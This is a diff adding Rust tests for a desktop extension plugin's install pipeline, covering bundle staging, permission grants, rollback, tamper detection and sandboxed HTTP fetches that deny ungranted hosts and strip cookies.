},+ ],+ }))+ .unwrap(),+ )+ .unwrap();+ let state = state(root.path());+ let listed = catalog::list_sources(&state).unwrap();+ let ids: Vec<&str> = listed.sources.iter().map(|s| s.id.as_str()).collect();+ assert_eq!(ids, ["a", "c"]);+ let notice = listed.notice.expect("a notice");+ assert_eq!(notice.dropped.len(), 2);+ assert_eq!(notice.dropped[0].name.as_deref(), Some("Weak"));+ assert_eq!(notice.dropped[0].url.as_deref(), Some("https://b.example.com/i.json"));+ assert_eq!(notice.dropped[1].name, None);+ // The original is kept aside, and the repaired store was written back.+ assert!(std::fs::read(¬ice.moved_to).unwrap().windows(4).any(|w| w == b"Weak"));+ let reopened = common::state(root.path());+ let again = catalog::list_sources(&reopened).unwrap();+ assert_eq!(again.sources.len(), 2);+ assert!(again.notice.is_none());+ // The notice stays for the rest of the session.+ assert!(catalog::list_sources(&state).unwrap().notice.is_some());+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tests/install.rs b/src-tauri/plugins/tauri-plugin-extensions/tests/install.rsnew file mode 100644index 000000000..0e08ed4e7--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tests/install.rs@@ -0,0 +1,631 @@+//! Acceptance tests of the install pipeline and lifecycle, against a temp+//! root and without a Tauri runtime.++mod common;++use std::fs;++use common::*;+use tauri_plugin_extensions::error::Error;+use tauri_plugin_extensions::http::{self, HttpRequest, HttpStreamEvent};+use tauri_plugin_extensions::install::{self, PermissionDiff};+use tauri_plugin_extensions::registry::{self, Source};+use tauri_plugin_extensions::state::{ExtensionsState, Options, StageSlot, MAX_STAGES, STAGING_DIR};+use tokio::io::{AsyncReadExt, AsyncWriteExt};++const ID: &str = "acme.hello";++fn install_version(state: &ExtensionsState, dir: &std::path::Path, version: &str, perms: &[&str]) {+ let path = write(dir, &format!("hello-{version}.tgz"), &extension(ID, version, perms));+ let staged = install::stage_bundle(state, &path).unwrap();+ install::confirm_install(state, &staged.stage_id, &strings(perms)).unwrap();+}++#[test]+fn stages_and_confirms_a_bundle() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let path = write(files.path(), "hello.tgz", &extension(ID, "0.1.0", &["ui:notify"]));++ let staged = install::stage_bundle(&state, &path).unwrap();+ assert!(!staged.verified);+ assert!(!staged.integrity_checked);+ assert_eq!(staged.existing, None);+ assert_eq!(+ staged.permission_diff,+ PermissionDiff { added: strings(&["ui:notify"]), removed: vec![] }+ );+ assert_eq!(staged.manifest["jan"]["id"], ID);+ assert!(matches!(&staged.source, Source::Bundle { file_name, .. } if file_name == "hello.tgz"));+ assert!(root.path().join(STAGING_DIR).join(&staged.stage_id).join("package.json").is_file());++ let installed = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap();+ assert_eq!(installed.id, ID);+ assert_eq!(installed.version, "0.1.0");+ assert!(installed.enabled);+ assert_eq!(installed.granted, strings(&["ui:notify"]));+ assert!(root.path().join("acme.hello/0.1.0/dist/index.js").is_file());+ assert!(!root.path().join(STAGING_DIR).join(&staged.stage_id).exists());++ let reg = registry::load(root.path()).unwrap().registry;+ let entry = ®.extensions[ID];+ assert_eq!(entry.active, "0.1.0");+ assert!(entry.current.entry_sha512.starts_with("sha512-"));+ assert!(matches!(&entry.current.source, Source::Bundle { sha512, .. } if *sha512 == staged.sha512));++ let listed = install::list(&state).unwrap();+ assert!(!listed.safe_mode);+ assert_eq!(listed.extensions.len(), 1);+ assert_eq!(listed.extensions[0].manifest["version"], "0.1.0");++ // A stage is consumed by confirm.+ assert!(matches!(+ install::confirm_install(&state, &staged.stage_id, &[]),+ Err(Error::NotFound(_))+ ));+}++#[test]+fn confirm_with_missing_grants_fails() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let path = write(files.path(), "h.tgz", &extension(ID, "0.1.0", &["ui:notify", "network:api.acme.dev"]));+ let staged = install::stage_bundle(&state, &path).unwrap();+ let err = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+ assert!(!root.path().join(ID).exists());+ // The stage survives a refused confirm, so the dialog can retry.+ let installed = install::confirm_install(+ &state,+ &staged.stage_id,+ &strings(&["network:api.acme.dev", "ui:notify", "tools"]),+ )+ .unwrap();+ // Grants beyond the request are never stored.+ assert_eq!(installed.granted, strings(&["ui:notify", "network:api.acme.dev"]));+}++#[test]+fn an_invalid_manifest_is_refused_at_stage_time() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let mut pkg = package_json(ID, "0.1.0", &["ui:notify"]);+ pkg["jan"]["main"] = serde_json::json!("dist/missing.js");+ let pkg = serde_json::to_vec(&pkg).unwrap();+ let path = write(files.path(), "h.tgz", &tgz(&[("package.json", &pkg)]));+ assert!(matches!(install::stage_bundle(&state, &path), Err(Error::Manifest(_))));+ let staging = root.path().join(STAGING_DIR);+ assert!(fs::read_dir(&staging).map(|d| d.count()).unwrap_or(0) == 0);++ let mut pkg = package_json(ID, "0.1.0", &["ui:notify"]);+ pkg["engines"]["jan"] = serde_json::json!(">=9.0.0");+ let pkg = serde_json::to_vec(&pkg).unwrap();+ let path = write(files.path(), "h2.tgz", &tgz(&[("package.json", &pkg), ("dist/index.js", b"x")]));+ assert!(matches!(install::stage_bundle(&state, &path), Err(Error::Manifest(_))));+}++#[test]+fn an_update_computes_the_permission_diff_and_keeps_one_previous() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["ui:notify", "tools"]);++ let path = write(files.path(), "u.tgz", &extension(ID, "0.2.0", &["ui:notify", "network:api.acme.dev"]));+ let staged = install::stage_bundle(&state, &path).unwrap();+ let existing = staged.existing.clone().unwrap();+ assert_eq!(existing.version, "0.1.0");+ assert_eq!(existing.granted, strings(&["ui:notify", "tools"]));+ assert!(matches!(existing.source, Source::Bundle { .. }), "{:?}", existing.source);+ assert!(!existing.verified);+ assert_eq!(+ staged.permission_diff,+ PermissionDiff { added: strings(&["network:api.acme.dev"]), removed: strings(&["tools"]) }+ );+ let installed = install::confirm_install(+ &state,+ &staged.stage_id,+ &strings(&["ui:notify", "network:api.acme.dev"]),+ )+ .unwrap();+ assert_eq!(installed.version, "0.2.0");+ assert_eq!(installed.previous.as_deref(), Some("0.1.0"));++ install_version(&state, files.path(), "0.3.0", &["ui:notify"]);+ let mut versions: Vec<String> = fs::read_dir(root.path().join(ID))+ .unwrap()+ .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())+ .collect();+ versions.sort();+ assert_eq!(versions, vec!["0.2.0", "0.3.0"]);+}++#[test]+fn a_downgrade_or_reinstall_goes_through_rollback_only() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.2.0", &["ui:notify"]);+ for version in ["0.1.0", "0.2.0"] {+ let path = write(files.path(), &format!("d{version}.tgz"), &extension(ID, version, &["ui:notify"]));+ let staged = install::stage_bundle(&state, &path).unwrap();+ let err = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+ }+ assert_eq!(install::list(&state).unwrap().extensions[0].version, "0.2.0");+}++#[test]+fn rollback_swaps_active_and_previous() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["ui:notify"]);+ assert!(matches!(install::rollback(&state, ID), Err(Error::NotFound(_))));++ install_version(&state, files.path(), "0.2.0", &["ui:notify", "tools"]);+ let rolled = install::rollback(&state, ID).unwrap();+ assert_eq!(rolled.version, "0.1.0");+ assert_eq!(rolled.previous.as_deref(), Some("0.2.0"));+ // Grants shrink to what the restored version requests.+ assert_eq!(rolled.granted, strings(&["ui:notify"]));+ assert!(install::read_entry(&state, ID).unwrap().code.contains("0.1.0"));++ let back = install::rollback(&state, ID).unwrap();+ assert_eq!(back.version, "0.2.0");+ assert!(install::read_entry(&state, ID).unwrap().code.contains("0.2.0"));+}++#[test]+fn uninstall_removes_the_directory_and_entry() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["ui:notify"]);+ install::uninstall(&state, ID).unwrap();+ assert!(!root.path().join(ID).exists());+ assert!(install::list(&state).unwrap().extensions.is_empty());+ assert!(matches!(install::uninstall(&state, ID), Err(Error::NotFound(_))));+ assert!(matches!(install::uninstall(&state, "../x"), Err(Error::Invalid(_))));+}++#[test]+fn set_grants_may_only_revoke() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["ui:notify", "tools"]);+ assert!(matches!(+ install::set_grants(&state, ID, &strings(&["ui:notify", "tools", "network:*"])),+ Err(Error::Denied(_))+ ));+ install::set_grants(&state, ID, &strings(&["tools"])).unwrap();+ assert_eq!(install::list(&state).unwrap().extensions[0].granted, strings(&["tools"]));+}++#[test]+fn read_entry_refuses_when_disabled_in_safe_mode_or_modified() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["ui:notify"]);++ let entry = install::read_entry(&state, ID).unwrap();+ assert!(entry.code.starts_with("var JanExtension"));+ assert_eq!(entry.sha512, registry::load(root.path()).unwrap().registry.extensions[ID].current.entry_sha512);++ install::set_enabled(&state, ID, false).unwrap();+ assert!(matches!(install::read_entry(&state, ID), Err(Error::Denied(_))));+ install::set_enabled(&state, ID, true).unwrap();++ install::set_safe_mode(&state, true).unwrap();+ let listed = install::list(&state).unwrap();+ assert!(listed.safe_mode && !listed.safe_mode_forced);+ assert!(matches!(install::read_entry(&state, ID), Err(Error::Denied(_))));+ install::set_safe_mode(&state, false).unwrap();+ assert!(install::read_entry(&state, ID).is_ok());++ fs::write(root.path().join("acme.hello/0.1.0/dist/index.js"), "var JanExtension = evil").unwrap();+ assert!(matches!(install::read_entry(&state, ID), Err(Error::Tampered(_))));+}++#[test]+fn forced_safe_mode_cannot_be_turned_off() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ install_version(&common::state(root.path()), files.path(), "0.1.0", &["ui:notify"]);+ let forced = ExtensionsState::new(+ root.path(),+ Options { app_version: APP_VERSION.into(), safe_mode_forced: true },+ )+ .unwrap();+ install::set_safe_mode(&forced, false).unwrap();+ let listed = install::list(&forced).unwrap();+ assert!(listed.safe_mode && listed.safe_mode_forced);+ assert!(matches!(install::read_entry(&forced, ID), Err(Error::Denied(_))));+}++#[test]+fn staging_is_wiped_on_init() {+ let root = tempfile::tempdir().unwrap();+ let leftover = root.path().join(STAGING_DIR).join("old");+ fs::create_dir_all(&leftover).unwrap();+ fs::write(leftover.join("package.json"), "{}").unwrap();+ let _state = common::state(root.path());+ assert!(!root.path().join(STAGING_DIR).exists());+}++#[test]+fn discard_stage_removes_its_files() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let path = write(files.path(), "h.tgz", &extension(ID, "0.1.0", &[]));+ let staged = install::stage_bundle(&state, &path).unwrap();+ install::discard_stage(&state, &staged.stage_id).unwrap();+ assert!(!root.path().join(STAGING_DIR).join(&staged.stage_id).exists());+ assert!(matches!(install::discard_stage(&state, &staged.stage_id), Err(Error::NotFound(_))));+}++#[test]+fn a_corrupt_registry_is_reported_by_list() {+ let root = tempfile::tempdir().unwrap();+ fs::write(root.path().join("extensions.json"), "garbage").unwrap();+ let state = state(root.path());+ let listed = install::list(&state).unwrap();+ assert!(listed.extensions.is_empty());+ assert!(listed.recovered_from.unwrap().contains("extensions.json.corrupt-"));+}++#[test]+fn http_fetch_denies_an_ungranted_host_before_any_network() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:api.acme.dev"]);+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ // Unroutable names: a request that got past the check would fail with+ // Network, not Denied.+ for url in [+ "https://evil.invalid/",+ "http://api.acme.dev/",+ "http://127.0.0.1:9/",+ ] {+ let req = HttpRequest { url: url.into(), ..HttpRequest::default() };+ let err = rt.block_on(http::http_fetch(&state, ID, "r1", &req)).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{url}: {err}");+ }+ // Revoked grants apply to the next request.+ install::set_grants(&state, ID, &[]).unwrap();+ let req = HttpRequest { url: "https://api.acme.dev/".into(), ..HttpRequest::default() };+ assert!(matches!(rt.block_on(http::http_fetch(&state, ID, "r2", &req)), Err(Error::Denied(_))));+ // An extension that is not installed, or disabled, gets nothing.+ assert!(matches!(rt.block_on(http::http_fetch(&state, "acme.other", "r3", &req)), Err(Error::NotFound(_))));+}++/// Serves one canned HTTP response on 127.0.0.1 and returns the port and+/// the request it read.+async fn serve_once(response: &'static [u8]) -> (u16, tokio::task::JoinHandle<String>) {+ let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let port = listener.local_addr().unwrap().port();+ let handle = tokio::spawn(async move {+ let (mut socket, _) = listener.accept().await.unwrap();+ let mut buf = vec![0u8; 8192];+ let n = socket.read(&mut buf).await.unwrap();+ socket.write_all(response).await.unwrap();+ socket.shutdown().await.ok();+ String::from_utf8_lossy(&buf[..n]).into_owned()+ });+ (port, handle)+}++#[test]+fn http_fetch_returns_redirects_and_drops_cookies() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:127.0.0.1"]);+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ rt.block_on(async {+ let (port, server) = serve_once(+ b"HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:1337/v1/chat\r\nSet-Cookie: s=1\r\nContent-Length: 0\r\n\r\n",+ )+ .await;+ let mut req = HttpRequest { url: format!("http://127.0.0.1:{port}/x"), ..HttpRequest::default() };+ req.headers.insert("Cookie".into(), "jar=1".into());+ req.headers.insert("Authorization".into(), "Bearer k".into());+ let response = http::http_fetch(&state, ID, "r", &req).await.unwrap();+ assert_eq!(response.status, 302);+ assert_eq!(response.headers["location"], "http://127.0.0.1:1337/v1/chat");+ assert!(!response.headers.contains_key("set-cookie"));+ let seen = server.await.unwrap().to_ascii_lowercase();+ assert!(!seen.contains("cookie"), "{seen}");+ assert!(seen.contains("authorization: bearer k"));+ });+}++#[test]+fn http_fetch_caps_the_body() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:localhost"]);+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ rt.block_on(async {+ static BIG: std::sync::OnceLock<Vec<u8>> = std::sync::OnceLock::new();+ let body = BIG.get_or_init(|| {+ let mut r = format!("HTTP/1.1 200 OK\r\nContent-Length: {}\r\n\r\n", http::MAX_RESPONSE_BYTES + 1).into_bytes();+ r.extend(vec![b'a'; http::MAX_RESPONSE_BYTES + 1]);+ r+ });+ let (port, _server) = serve_once(body).await;+ let req = HttpRequest { url: format!("http://localhost:{port}/"), ..HttpRequest::default() };+ let err = http::http_fetch(&state, ID, "r", &req).await.unwrap_err();+ assert!(matches!(err, Error::TooLarge(_)), "{err}");+ });+}++#[test]+fn http_fetch_refuses_the_local_api_port() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:127.0.0.1"]);+ state.set_local_api_port(Some(1337));+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ let req = HttpRequest { url: "http://127.0.0.1:1337/v1/models".into(), ..HttpRequest::default() };+ assert!(matches!(rt.block_on(http::http_fetch(&state, ID, "r", &req)), Err(Error::Denied(_))));+}++#[test]+fn http_fetch_stream_delivers_head_chunks_and_end() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:127.0.0.1"]);+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ rt.block_on(async {+ let (port, _server) = serve_once(+ b"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nTransfer-Encoding: chunked\r\n\r\n6\r\ndata: \r\n7\r\nhello\n\n\r\n0\r\n\r\n",+ )+ .await;+ let req = HttpRequest { url: format!("http://127.0.0.1:{port}/sse"), ..HttpRequest::default() };+ let mut events = Vec::new();+ let status = http::http_fetch_stream(&state, ID, "s", &req, |e| {+ events.push(e);+ true+ })+ .await+ .unwrap();+ assert_eq!(status, 200);+ assert!(matches!(&events[0], HttpStreamEvent::Head { status: 200, headers } if headers["content-type"] == "text/event-stream"));+ assert_eq!(events.last(), Some(&HttpStreamEvent::End));+ let body: String = events+ .iter()+ .filter_map(|e| match e {+ HttpStreamEvent::Chunk { data } => Some(data.as_str()),+ _ => None,+ })+ .collect();+ assert_eq!(body, "data: hello\n\n");+ });+}++#[test]+fn http_fetch_can_be_cancelled() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:127.0.0.1"]);+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ rt.block_on(async {+ // Accepts and never answers.+ let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let port = listener.local_addr().unwrap().port();+ let _hold = tokio::spawn(async move {+ let (_socket, _) = listener.accept().await.unwrap();+ tokio::time::sleep(std::time::Duration::from_secs(60)).await;+ });+ let req = HttpRequest { url: format!("http://127.0.0.1:{port}/"), ..HttpRequest::default() };+ let fetch = http::http_fetch(&state, ID, "slow", &req);+ let cancel = async {+ tokio::time::sleep(std::time::Duration::from_millis(100)).await;+ http::cancel(&state, ID, "slow");+ };+ let (result, ()) = tokio::join!(fetch, cancel);+ assert!(matches!(result, Err(Error::Cancelled)), "{result:?}");+ });+}++fn versions_on_disk(root: &std::path::Path) -> Vec<String> {+ let mut versions: Vec<String> = fs::read_dir(root.join(ID))+ .unwrap()+ .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())+ .collect();+ versions.sort();+ versions+}++/// Asserts 0.2.0 is active with 0.1.0 kept for rollback, on disk and in+/// the registry, as after the two installs of `two_versions`.+fn assert_still_at_0_2_0(root: &std::path::Path) {+ let reg = registry::load(root).unwrap().registry;+ let entry = ®.extensions[ID];+ assert_eq!(entry.active, "0.2.0");+ assert_eq!(entry.previous.as_deref(), Some("0.1.0"));+ assert_eq!(versions_on_disk(root), vec!["0.1.0", "0.2.0"]);+}++fn two_versions(state: &ExtensionsState, files: &std::path::Path) {+ install_version(state, files, "0.1.0", &["ui:notify"]);+ install_version(state, files, "0.2.0", &["ui:notify"]);+}++fn stage_0_3_0(state: &ExtensionsState, files: &std::path::Path) -> install::StagedInstall {+ let path = write(files, "hello-0.3.0.tgz", &extension(ID, "0.3.0", &["ui:notify"]));+ install::stage_bundle(state, &path).unwrap()+}++#[test]+fn a_failed_entry_check_after_rename_keeps_rollback_and_allows_a_retry() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ two_versions(&state, files.path());+ let staged = stage_0_3_0(&state, files.path());+ let staged_entry = root.path().join(STAGING_DIR).join(&staged.stage_id).join("dist/index.js");+ fs::write(&staged_entry, "var JanExtension = swapped").unwrap();+ let err = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap_err();+ assert!(matches!(err, Error::Tampered(_)), "{err}");+ assert_still_at_0_2_0(root.path());+ assert_eq!(install::rollback(&state, ID).unwrap().version, "0.1.0");+ install::rollback(&state, ID).unwrap();++ install_version(&state, files.path(), "0.3.0", &["ui:notify"]);+ assert_eq!(versions_on_disk(root.path()), vec!["0.2.0", "0.3.0"]);+}++#[test]+fn a_missing_entry_after_rename_leaves_no_stray_version_dir() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ two_versions(&state, files.path());+ let staged = stage_0_3_0(&state, files.path());+ fs::remove_file(root.path().join(STAGING_DIR).join(&staged.stage_id).join("dist/index.js")).unwrap();+ assert!(install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).is_err());+ assert_still_at_0_2_0(root.path());++ install_version(&state, files.path(), "0.3.0", &["ui:notify"]);+ assert_eq!(install::list(&state).unwrap().extensions[0].version, "0.3.0");+}++#[cfg(unix)]+#[test]+fn a_failed_registry_save_keeps_rollback_and_allows_a_retry() {+ use std::os::unix::fs::PermissionsExt;+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ two_versions(&state, files.path());+ let staged = stage_0_3_0(&state, files.path());+ // The version is renamed into <id>/ and verified, then writing the+ // registry's temp file into the read-only root fails.+ let mode = |m| fs::set_permissions(root.path(), fs::Permissions::from_mode(m)).unwrap();+ mode(0o555);+ let result = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"]));+ mode(0o755);+ assert!(result.is_err());+ assert_still_at_0_2_0(root.path());+ assert_eq!(install::list(&state).unwrap().extensions[0].version, "0.2.0");++ install_version(&state, files.path(), "0.3.0", &["ui:notify"]);+ assert_eq!(versions_on_disk(root.path()), vec!["0.2.0", "0.3.0"]);+}++#[test]+fn a_stray_version_dir_left_by_a_crash_does_not_block_the_install() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ two_versions(&state, files.path());+ let stray = root.path().join(ID).join("0.3.0");+ fs::create_dir_all(stray.join("dist")).unwrap();+ fs::write(stray.join("dist/index.js"), "half written").unwrap();+ install_version(&state, files.path(), "0.3.0", &["ui:notify"]);+ assert!(install::read_entry(&state, ID).unwrap().code.contains("0.3.0"));+}++#[test]+fn network_grants_do_not_read_the_registry_file() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:api.acme.dev"]);+ // The async network path answers from the registry the state last wrote,+ // so it neither reads nor moves aside the file.+ fs::write(root.path().join("extensions.json"), "garbage").unwrap();+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ let req = HttpRequest { url: "https://evil.invalid/".into(), ..HttpRequest::default() };+ let err = rt.block_on(http::http_fetch(&state, ID, "r", &req)).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+ assert_eq!(fs::read_to_string(root.path().join("extensions.json")).unwrap(), "garbage");+}++#[test]+fn a_revoke_reaches_the_network_path_through_the_cache() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ install_version(&state, files.path(), "0.1.0", &["network:127.0.0.1"]);+ install::set_enabled(&state, ID, false).unwrap();+ let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();+ let req = HttpRequest { url: "http://127.0.0.1:9/".into(), ..HttpRequest::default() };+ assert!(matches!(rt.block_on(http::http_fetch(&state, ID, "r", &req)), Err(Error::Denied(_))));+ install::uninstall(&state, ID).unwrap();+ assert!(matches!(rt.block_on(http::http_fetch(&state, ID, "r", &req)), Err(Error::NotFound(_))));+}++#[test]+fn stage_slots_are_reserved_before_extracting() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let slots: Vec<_> = (0..MAX_STAGES).map(|_| StageSlot::reserve(&state).unwrap()).collect();+ let path = write(files.path(), "h.tgz", &extension(ID, "0.1.0", &[]));+ assert!(matches!(install::stage_bundle(&state, &path), Err(Error::Denied(_))));+ assert!(matches!(StageSlot::reserve(&state), Err(Error::Denied(_))));+ // Nothing was extracted for the refused stage.+ let staged_dirs = fs::read_dir(root.path().join(STAGING_DIR)).map(|d| d.count()).unwrap_or(0);+ assert_eq!(staged_dirs, 0);+ drop(slots);+ let staged = install::stage_bundle(&state, &path).unwrap();+ install::discard_stage(&state, &staged.stage_id).unwrap();+}++#[test]+fn a_reserved_slot_is_not_a_stage() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let slot = StageSlot::reserve(&state).unwrap();+ let id = slot.id().to_string();+ assert!(matches!(install::confirm_install(&state, &id, &[]), Err(Error::NotFound(_))));+ assert!(matches!(install::discard_stage(&state, &id), Err(Error::NotFound(_))));+}++#[test]+fn failed_stages_release_their_slots() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let bad = write(files.path(), "bad.tgz", b"not a tarball");+ for _ in 0..MAX_STAGES + 1 {+ assert!(matches!(install::stage_bundle(&state, &bad), Err(Error::Bundle(_))));+ }+ let good = write(files.path(), "h.tgz", &extension(ID, "0.1.0", &[]));+ assert!(install::stage_bundle(&state, &good).is_ok());+}++#[test]+fn concurrent_stages_never_exceed_the_limit() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let path = write(files.path(), "h.tgz", &extension(ID, "0.1.0", &[]));+ let barrier = std::sync::Barrier::new(MAX_STAGES * 2);+ let ok = std::thread::scope(|scope| {+ let handles: Vec<_> = (0..MAX_STAGES * 2)+ .map(|_| {+ scope.spawn(|| {+ barrier.wait();+ install::stage_bundle(&state, &path).is_ok()+ })+ })+ .collect();+ handles.into_iter().map(|h| h.join().unwrap()).filter(|ok| *ok).count()+ });+ assert_eq!(ok, MAX_STAGES);+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tests/smoke.rs b/src-tauri/plugins/tauri-plugin-extensions/tests/smoke.rsnew file mode 100644index 000000000..234730c7e--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tests/smoke.rs@@ -0,0 +1,91 @@+//! End-to-end smoke install of a real packed extension (the sample bundle).+//!+//! Ignored by default: `scripts/extensions-smoke.mjs` (`make+//! test-extensions-smoke`) packs the sample and runs it with+//! `JAN_EXT_SMOKE_TGZ` (the `.tgz` to install) and `JAN_EXT_SMOKE_ROOT` (an+//! empty extensions root it leaves installed for the web-app half of the+//! smoke test to load).++use std::path::PathBuf;++use serde_json::Value;+use tauri_plugin_extensions::install;+use tauri_plugin_extensions::integrity::sha512_sri;+use tauri_plugin_extensions::registry::{self, Source};+use tauri_plugin_extensions::state::{ExtensionsState, Options};++fn env_path(name: &str) -> PathBuf {+ match std::env::var_os(name) {+ Some(value) if !value.is_empty() => PathBuf::from(value),+ _ => panic!("{name} is not set; run this test through `make test-extensions-smoke`"),+ }+}++/// The app version the desktop build reports, so `engines.jan` is checked+/// against the real app rather than a test constant.+fn app_version() -> String {+ let conf = std::fs::read_to_string(concat!(env!("CARGO_MANIFEST_DIR"), "/../../tauri.conf.json"))+ .expect("read src-tauri/tauri.conf.json");+ let conf: Value = serde_json::from_str(&conf).expect("parse tauri.conf.json");+ conf["version"].as_str().expect("tauri.conf.json has a version").to_string()+}++#[test]+#[ignore = "needs JAN_EXT_SMOKE_TGZ and JAN_EXT_SMOKE_ROOT; run `make test-extensions-smoke`"]+fn installs_the_packed_sample() {+ let tgz = env_path("JAN_EXT_SMOKE_TGZ");+ let root = env_path("JAN_EXT_SMOKE_ROOT");+ assert!(tgz.is_file(), "{} is not a file", tgz.display());+ let state = ExtensionsState::new(+ &root,+ Options {+ app_version: app_version(),+ safe_mode_forced: false,+ },+ )+ .expect("open the extensions root");++ let tarball = std::fs::read(&tgz).expect("read the tarball");+ let staged = install::stage_bundle(&state, &tgz).expect("stage the bundle");+ assert!(!staged.verified, "a bundle from disk is never verified");+ assert!(!staged.integrity_checked);+ assert_eq!(staged.sha512, sha512_sri(&tarball));+ assert!(staged.existing.is_none());+ let id = staged.manifest["jan"]["id"].as_str().expect("jan.id").to_string();+ let version = staged.manifest["version"].as_str().expect("version").to_string();+ let requested: Vec<String> = staged.manifest["jan"]["permissions"]+ .as_array()+ .expect("jan.permissions")+ .iter()+ .map(|p| p.as_str().expect("permission string").to_string())+ .collect();+ assert_eq!(staged.permission_diff.added, requested);+ assert!(staged.permission_diff.removed.is_empty());++ let installed = install::confirm_install(&state, &staged.stage_id, &requested).expect("confirm");+ assert_eq!(installed.id, id);+ assert_eq!(installed.version, version);+ assert!(installed.enabled);+ assert_eq!(installed.granted, requested);++ let entry = install::read_entry(&state, &id).expect("read_entry");+ assert!(entry.code.starts_with("var JanExtension"), "not the sample's IIFE bundle");++ let reg = registry::load(&root).expect("load the registry").registry;+ let record = ®.extensions[&id];+ assert_eq!(record.active, version);+ assert!(record.enabled);+ assert_eq!(record.granted, requested);+ assert_eq!(record.current.entry_sha512, entry.sha512);+ assert_eq!(record.current.entry_sha512, sha512_sri(entry.code.as_bytes()));+ let file_name = tgz.file_name().unwrap().to_string_lossy().into_owned();+ assert_eq!(+ record.current.source,+ Source::Bundle { file_name, sha512: staged.sha512.clone() }+ );+ assert!(!reg.safe_mode);++ let listed = install::list(&state).expect("list");+ assert_eq!(listed.extensions.len(), 1);+ assert_eq!(listed.extensions[0].manifest, staged.manifest);+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tsconfig.json b/src-tauri/plugins/tauri-plugin-extensions/tsconfig.jsonnew file mode 100644index 000000000..059112270--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tsconfig.json@@ -0,0 +1,14 